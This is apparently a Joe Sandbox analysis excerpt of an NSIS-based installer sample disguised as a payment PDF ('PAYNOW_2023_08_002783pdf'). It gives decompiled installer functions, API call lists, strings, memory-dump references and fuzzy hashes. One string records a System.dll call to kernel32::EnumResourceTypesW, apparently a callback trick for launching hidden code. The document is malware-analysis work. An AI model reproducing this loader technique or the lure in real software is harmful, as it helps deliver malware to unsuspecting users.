0x00000000
0x00000000
0x0040629c
0x004062a3
0x004062a4
0x004062a6
0x004062c0
0x004062ce
0x004062d4
0x004062d6
0x004062f4
0x004062f4
0x004062f4
0x00000000
0x004062f4
0x004062dc
0x004062e5
0x004062e8
0x004062ee
0x004062f2
0x00000000
0x00000000
0x00000000
0x004062f2
0x004062a8
0x004062ab
0x00000000
0x00000000
0x004062ba
0x004062bc
0x004062be
0x00000000
0x00000000
0x00000000
0x004062be
0x00000000
0x004062f7
0x0040627f
0x00000000
0x0040623d
0x00406258
0x0040625d
0x00406260
0x00406300
0x00406300
0x00406304
0x0040630c
0x0040630c
0x00000000
0x00406304
0x0040626a
0x004062fb
0x004062fb
0x004062fe
0x00000000
0x00000000
0x00000000
0x004062fe
0x0040623b
0x0040620e
0x00406212
0x00000000
0x00000000
0x00406214
0x00406218
0x00000000
0x00000000
0x0040621a
0x0040621e
0x00000000
0x00406220
0x00406220
0x00000000
0x00406220
0x0040621e
0x00406383
0x0040638d
0x00406399
0x00406399
0x00000000

APIs

GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 0040627F
GetWindowsDirectoryA.KERNEL32(Call,00000400,?,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,00405220,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000), ref: 00406292
SHGetSpecialFolderLocation.SHELL32(00405220,00000000,?,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,00405220,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000), ref: 004062CE
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 004062DC
CoTaskMemFree.OLE32(00000000), ref: 004062E8
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040630C
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,00405220,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,00000000,004178E0,00000000), ref: 0040635E

Strings

Call, xrefs: 0040617E, 0040624B, 0040624C, 0040624D, 00406269, 0040627E, 00406291, 004062AD, 004062D8, 0040630B, 00406311, 00406329, 0040633C, 00406357, 0040635D, 00406365, 0040638F
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040624E
Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll, xrefs: 00406179
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406306
kernel32::EnumResourceTypesW(i0,ir1,i0), xrefs: 00406336

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$kernel32::EnumResourceTypesW(i0,ir1,i0)
API String ID: 717251189-1149253312
Opcode ID: 47c75b562d8293e4ccce6765dee4c1aeb0ae337ad2964066c21b86af11a862a3
Instruction ID: 8fbc972aa6bd3719c406fe4e3ec738975147f7369702dd1472e60f0af39698f0
Opcode Fuzzy Hash: 47c75b562d8293e4ccce6765dee4c1aeb0ae337ad2964066c21b86af11a862a3
Instruction Fuzzy Hash: 31610671900111AADF20AF65DC84BBE3BA4AB46310F12417FE953B62D1C73C49A2CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401759 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00401759(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				CHAR* _t83;
				void* _t85;

				_t75 = __ebx;
				_t82 = E00402BCE(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x28) & 0x00000007;
				_t33 = E00405AC6(_t82);
				_push(_t82);
				_t83 = "Call";
				if(_t33 == 0) {
					lstrcatA(E00405A59(E004060C1(_t83, "C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr\\Lselystens143")), ??);
				} else {
					E004060C1();
				}
				E0040639C(_t83);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00406435(_t83);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x1c);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405C35(_t83);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E00405C5A(_t83, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0xc) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E004051E8(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x4247c8;
						goto L32;
					} else {
						E004060C1(0x40ac08, "kernel32::EnumResourceTypesW(i0,ir1,i0)");
						E004060C1("kernel32::EnumResourceTypesW(i0,ir1,i0)", _t83);
						E00406154(_t75, 0x40ac08, _t83, "C:\Users\Arthur\AppData\Local\Temp\nsh295E.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x14)));
						E004060C1("kernel32::EnumResourceTypesW(i0,ir1,i0)", 0x40ac08);
						_t62 = E004057DD("C:\Users\Arthur\AppData\Local\Temp\nsh295E.tmp\System.dll",  *(_t85 - 0x28) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x4247c8 =  &( *0x4247c8->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(_t83);
								_push(0xfffffffa);
								E004051E8();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E004051E8(0xffffffea,  *(_t85 - 8)); // executed
				 *0x4247f4 =  *0x4247f4 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0xc));
				_push( *((intOrPtr*)(_t85 - 0x20)));
				_t43 = E004030D8(); // executed
				 *0x4247f4 =  *0x4247f4 - 1;
				__eflags =  *(_t85 - 0x1c) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0xc), _t85 - 0x1c, _t75, _t85 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t85 - 0xc)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00406154(_t75, _t80, _t83, _t83, 0xffffffee);
					} else {
						E00406154(_t75, _t80, _t83, _t83, 0xffffffe9);
						lstrcatA(_t83,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(_t83);
					E004057DD();
					goto L29;
				}
				goto L33;
			}

0x00401759
0x00401760
0x00401769
0x0040176c
0x0040176f
0x00401774
0x00401775
0x0040177c
0x00401798
0x0040177e
0x0040177f
0x0040177f
0x0040179e
0x004017a8
0x004017a8
0x004017ac
0x004017af
0x004017b4
0x004017b6
0x004017b8
0x004017bd
0x004017bd
0x004017c8
0x004017c8
0x004017d9
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017df
0x004017e2
0x004017e5
0x004017e5
0x004017ec
0x004017fb
0x00401800
0x00401803
0x00401806
0x00000000
0x00000000
0x00401808
0x0040180b
0x00401865
0x0040186a
0x004015b0
0x004027bf
0x004027bf
0x00402a5a
0x00402a5d
0x00402a5d
0x00000000
0x0040180d
0x00401813
0x0040181e
0x0040182b
0x00401836
0x0040184c
0x0040184c
0x0040184f
0x00000000
0x00401855
0x00401855
0x00401856
0x00401873
0x00402a63
0x00402a63
0x00402a63
0x00401858
0x00401858
0x00401859
0x00401492
0x00402387
0x00402387
0x00402387
0x00401856
0x0040184f
0x00402a65
0x00402a69
0x00402a69
0x00401883
0x00401888
0x0040188e
0x0040188f
0x00401890
0x00401893
0x00401896
0x0040189b
0x004018a1
0x004018a5
0x004018a7
0x004018af
0x004018bb
0x004018a9
0x004018a9
0x004018ad
0x00000000
0x00000000
0x004018ad
0x004018c4
0x004018ca
0x004018cc
0x00000000
0x004018d2
0x004018d2
0x004018d5
0x004018ed
0x004018d7
0x004018da
0x004018e3
0x004018e3
0x004018f2
0x004018f7
0x00402382
0x00000000
0x00402382
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 004060C1: lstrcpynA.KERNEL32(?,?,00000400,004033E4,00423F20,NSIS Error,?,?,?,0000000B), ref: 004060CE

Part of subcall function 004051E8: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000,?,?,?,?,?,?,?,?,?,00403208,00000000,?), ref: 00405221
Part of subcall function 004051E8: lstrlenA.KERNEL32(00403208,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000,?,?,?,?,?,?,?,?,?,00403208,00000000), ref: 00405231
Part of subcall function 004051E8: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00403208,00403208,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000), ref: 00405244
Part of subcall function 004051E8: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll), ref: 00405256
Part of subcall function 004051E8: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040527C
Part of subcall function 004051E8: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405296
Part of subcall function 004051E8: SendMessageA.USER32(?,00001013,?,00000000), ref: 004052A4

Strings

C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll, xrefs: 00401826, 00401842
Call, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
C:\Users\user\AppData\Local\Temp\nsh295E.tmp, xrefs: 004017A3, 00401812, 00401830
kernel32::EnumResourceTypesW(i0,ir1,i0), xrefs: 0040180D, 00401819, 00401831
C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143, xrefs: 00401786

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsh295E.tmp$C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll$C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr\Lselystens143$Call$kernel32::EnumResourceTypesW(i0,ir1,i0)
API String ID: 1941528284-195807166
Opcode ID: 2c157c7f2ea9ff44e6c9531caed6cfbc57a4b13fdce2ad1f06220e3f9100a0d9
Instruction ID: ad8319ac8819e3f4f0647767249a41d8ee4e375b3a8deda6b30fbb54af0d7a5d
Opcode Fuzzy Hash: 2c157c7f2ea9ff44e6c9531caed6cfbc57a4b13fdce2ad1f06220e3f9100a0d9
Instruction Fuzzy Hash: D641B731900515BACF10BFA5CC45DAF3669EF45369B21423BF422B21E1CA7C8A528A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004030D8 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004030D8(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				long _v16;
				intOrPtr _v20;
				char _v84;
				void* _t59;
				void* _t61;
				intOrPtr _t69;
				long _t70;
				void* _t71;
				intOrPtr _t81;
				intOrPtr _t86;
				long _t89;
				signed int _t90;
				int _t91;
				int _t92;
				intOrPtr _t93;
				void* _t94;
				void* _t95;

				_t90 = _a16;
				_t86 = _a12;
				_v12 = _t90;
				if(_t86 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t81 = _t86;
				if(_t86 == 0) {
					_t81 = 0x4178e0;
				}
				_t56 = _a4;
				if(_a4 >= 0) {
					E004032CA( *0x424798 + _t56);
				}
				if(E004032B4( &_a16, ?str?) == 0) {
					L33:
					_push(0xfffffffd);
					goto L34;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t86 == 0) {
							while(_a16 > 0) {
								_t91 = _v12;
								if(_a16 < _t91) {
									_t91 = _a16;
								}
								if(E004032B4(0x4138e0, _t91) == 0) {
									goto L33;
								} else {
									_t61 = E00405D01(_a8, 0x4138e0, _t91); // executed
									if(_t61 == 0) {
										L28:
										_push(0xfffffffe);
										L34:
										_pop(_t59);
										return _t59;
									}
									_v8 = _v8 + _t91;
									_a16 = _a16 - _t91;
									continue;
								}
							}
							L43:
							return _v8;
						}
						if(_a16 < _t90) {
							_t90 = _a16;
						}
						if(E004032B4(_t86, _t90) != 0) {
							_v8 = _t90;
							goto L43;
						} else {
							goto L33;
						}
					}
					_v16 = GetTickCount();
					E004065EF(0x40b850);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L43;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t92 = 0x4000;
						if(_a16 < 0x4000) {
							_t92 = _a16;
						}
						if(E004032B4(0x4138e0, _t92) == 0) {
							goto L33;
						}
						_a16 = _a16 - _t92;
						 *0x40b868 = 0x4138e0;
						 *0x40b86c = _t92;
						while(1) {
							 *0x40b870 = _t81;
							 *0x40b874 = _v12; // executed
							_t69 = E0040660F(0x40b850); // executed
							_v20 = _t69;
							if(_t69 < 0) {
								break;
							}
							_t93 =  *0x40b870; // 0x4178e0
							_t94 = _t93 - _t81;
							_t70 = GetTickCount();
							_t89 = _t70;
							if(( *0x4247f4 & 0x00000001) != 0 && (_t70 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v84, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t95 = _t95 + 0xc;
								E004051E8(0,  &_v84); // executed
								_v16 = _t89;
							}
							if(_t94 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L43;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t94;
									_v12 = _v12 - _t94;
									_t81 =  *0x40b870; // 0x4178e0
									L23:
									if(_v20 != 1) {
										continue;
									}
									goto L43;
								}
								_t71 = E00405D01(_a8, _t81, _t94); // executed
								if(_t71 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t94;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L34;
					}
					goto L33;
				}
			}

0x004030e0
0x004030e4
0x004030e7
0x004030ec
0x004030ee
0x004030ee
0x004030f5
0x004030f9
0x004030fd
0x004030ff
0x004030ff
0x00403104
0x00403109
0x00403114
0x00403114
0x00403126
0x0040326b
0x0040326b
0x00000000
0x0040312c
0x00403130
0x00403256
0x0040329f
0x00403270
0x00403276
0x00403278
0x00403278
0x00403289
0x00000000
0x0040328b
0x00403290
0x00403297
0x00403250
0x00403250
0x0040326d
0x0040326d
0x00000000
0x0040326d
0x00403299
0x0040329c
0x00000000
0x0040329c
0x00403289
0x004032aa
0x00000000
0x004032aa
0x0040325b
0x0040325d
0x0040325d
0x00403269
0x004032a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00403269
0x00403141
0x00403144
0x00403149
0x00403149
0x00403153
0x00403156
0x00000000
0x00000000
0x00000000
0x00000000
0x0040315c
0x0040315c
0x0040315c
0x00403164
0x00403166
0x00403166
0x00403177
0x00000000
0x00000000
0x0040317d
0x00403180
0x00403186
0x0040318c
0x00403194
0x0040319a
0x0040319f
0x004031a6
0x004031a9
0x00000000
0x00000000
0x004031af
0x004031b5
0x004031b7
0x004031c4
0x004031c6
0x004031f4
0x004031fa
0x00403203
0x00403208
0x00403208
0x0040320d
0x00403244
0x00000000
0x00000000
0x00000000
0x0040320f
0x00403213
0x00403228
0x0040322b
0x0040322e
0x00403234
0x00403238
0x00000000
0x00000000
0x00000000
0x0040323e
0x0040321a
0x00403221
0x00000000
0x00000000
0x00403223
0x00000000
0x00403223
0x0040320d
0x0040324c
0x00000000
0x0040324c
0x00000000
0x0040315c

APIs

GetTickCount.KERNEL32 ref: 00403136
GetTickCount.KERNEL32 ref: 004031B7
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 004031E4
wsprintfA.USER32 ref: 004031F4

Strings

xA, xrefs: 00403194, 004031AF, 0040322E
8A, xrefs: 0040327B
8A, xrefs: 00403169
xA, xrefs: 004030FF
... %d%%, xrefs: 004031EE

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$8A$8A$xA$xA
API String ID: 551687249-266981132
Opcode ID: 2779a8c27ab4fa154f89a57db0462927349ddc59ff22a4c54c6aa2d2765dcfd2
Instruction ID: 5859ff30484dbc6f12110d744d50748fce684291dc682ebadfc23bb097a10b04
Opcode Fuzzy Hash: 2779a8c27ab4fa154f89a57db0462927349ddc59ff22a4c54c6aa2d2765dcfd2
Instruction Fuzzy Hash: BA515E71900219ABCB10AF66D944A9F7BACEF44756F1481BFE810B72D1C738CA41CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 004051E8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004051E8(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423f04; // 0x103cc
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x4247f4;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00406154(0, _t39, 0x420508, 0x420508, _a4);
					}
					_t26 = lstrlenA(0x420508);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423ee8, 0x420508); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x420508;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52); // executed
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x420508)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x420508, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x004051ee
0x004051fa
0x004051fd
0x00405203
0x0040520f
0x00405212
0x00405215
0x0040521b
0x0040521b
0x00405221
0x00405229
0x0040522c
0x00405249
0x0040524d
0x00405256
0x00405256
0x00405260
0x00405269
0x00405275
0x0040527c
0x00405280
0x00405283
0x00405296
0x004052a4
0x004052a4
0x004052a8
0x004052aa
0x004052ad
0x00000000
0x004052ad
0x0040522e
0x00405236
0x0040523e
0x00405244
0x00000000
0x00405244
0x0040523e
0x0040522c
0x004052b7

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000,?,?,?,?,?,?,?,?,?,00403208,00000000,?), ref: 00405221
lstrlenA.KERNEL32(00403208,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000,?,?,?,?,?,?,?,?,?,00403208,00000000), ref: 00405231
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00403208,00403208,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000), ref: 00405244
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll), ref: 00405256
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040527C
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405296
SendMessageA.USER32(?,00001013,?,00000000), ref: 004052A4

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll, xrefs: 00405208, 0040521A, 00405220, 00405243, 0040524F

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll
API String ID: 2531174081-3622422879
Opcode ID: a1c5735c8d68d2176f7cc6d637479f783f9f1d20d1dde0baa2c5806c55972464
Instruction ID: 13bf9d5a188301c634d68c5bb2c809f87baf544d33da629d3068cd84ff66c9cb
Opcode Fuzzy Hash: a1c5735c8d68d2176f7cc6d637479f783f9f1d20d1dde0baa2c5806c55972464
Instruction Fuzzy Hash: 7F218C71E00518BBDB119FA5DD81A9EBFB9EF09354F14807AF544B6290C7798A808F98

Uniqueness

Uniqueness Score: -1.00%

Function 004056AE Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004056AE(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x408384;
				_v36.Group = 0x408384;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x408374;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x004056b9
0x004056bd
0x004056c0
0x004056c6
0x004056ca
0x004056ce
0x004056d6
0x004056dd
0x004056e3
0x004056ea
0x004056f1
0x004056f9
0x004056fb
0x00000000
0x004056fb
0x00405705
0x0040570c
0x00405722
0x00000000
0x00000000
0x00000000
0x00405724
0x00405728

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004056F1
GetLastError.KERNEL32 ref: 00405705
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040571A
GetLastError.KERNEL32 ref: 00405724

Strings

C:\Users\user\Desktop, xrefs: 004056AE
C:\Users\user\AppData\Local\Temp\, xrefs: 004056D4

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
